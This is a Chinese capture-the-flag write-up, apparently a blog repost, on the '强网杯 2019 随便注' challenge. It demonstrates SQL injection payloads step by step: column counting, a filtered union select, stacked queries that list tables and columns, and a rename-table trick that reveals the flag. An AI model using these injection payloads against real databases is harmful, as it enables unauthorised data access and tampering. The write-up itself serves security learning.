zoukankan      html  css  js  c++  java
  • [强网杯 2019]随便注

    0x00

    打开网页如下,很明显这是一道注入题。

    先来验证一下,输入payload如下:

    1' and 1=2;#
    

    页面没有任何结果回显,在输入如下payload:

    1' and 1=1;#
    

    出现回显 =》》,说明存在注入。
    脑海里首先出现的是联合注入,接下来我们按照步骤去进行联合注入
    首先先查询一下该表有多少个字段,输入如下payload:

    1' order by 4;#
    

    出现如右图的错误===》》
    说明不存在第四行,继续测试,输入如下payload:

    1' order by 3;#
    

    还是出现如右图的错误===》》》
    继续测试,输入payload:

    1' order by 2;#
    

    这次回显结果了如右图===》》
    可以知道该表就存在两个字段,接着继续我们的联合注入,输入如下payload:

    1' union select 1,2;#
    

    得到

    竟然设置了过滤,而且还这么严苛,这可咋办!!!!!
    最后发现还存在堆叠注入,那可以先查询一下存在的表,输入如下payload:

    1';show tables;#
    

    返回右图结果==》》
    发现 “1919810931114514” 这个表很奇怪,继续查一下它的字段,输入如下payload:

    1';show columns from `1919810931114514`;#
    

    返回右图==》》

    果然存在flag,虽然找到了flag的位置,但是不好查询,因为能查询的几乎都被过滤了。
    最后寻求度娘发现大佬们的思路太骚了,继续我们的查询,输入如下payload:

    1';rename table `words` to `xx`;rename table `1919810931114514` to `words`;alter table `words` add id int;#
    ## rename该表名
    ## alter修改表字段等
    

    这时候我们在输入 ‘1’去查询肯定查不到,因为新加的id字段为空,所以我们需要查询全部,输入如下payload:

    1' or 1=1#
    

    最后得到结果==》》

    0x01

    最后来对这道题做一个总结吧,这道题主要学习的是思路:
    首先是猜出了可能的查询语句:

    select id,data from words where id = ?
    

    然后在查询语句全都被过滤的情况下,可以考虑更换表名(前提是存在堆叠注入,只有存在堆叠注入时才可以执行跟换表名的语句),将自己要查询的表更换成后台查询的表名,查询全部即可返回结果。
    要注意的是最好连字段名一起更换,避免后台指定了查询的字段。

    alter 修改表字段:https://www.w3school.com.cn/sql/sql_alter.asp
    rename 修改表名 :
    RENAME TABLE old_table_name TO new_table_name;
    
  • 相关阅读:
    matplotlib基础
    numpy基础
    池化层的前向计算
    卷积神经网络应用于MNIST数据集分类
    用tensorflow的Eager执行模式
    tensorboard网络结构
    优化器
    交叉熵
    [webpack]——loader配置
    [webpack]--webpack 如何解析代码模块路径
  • 原文地址:https://www.cnblogs.com/Wuser/p/13457297.html
Copyright © 2011-2022 走看看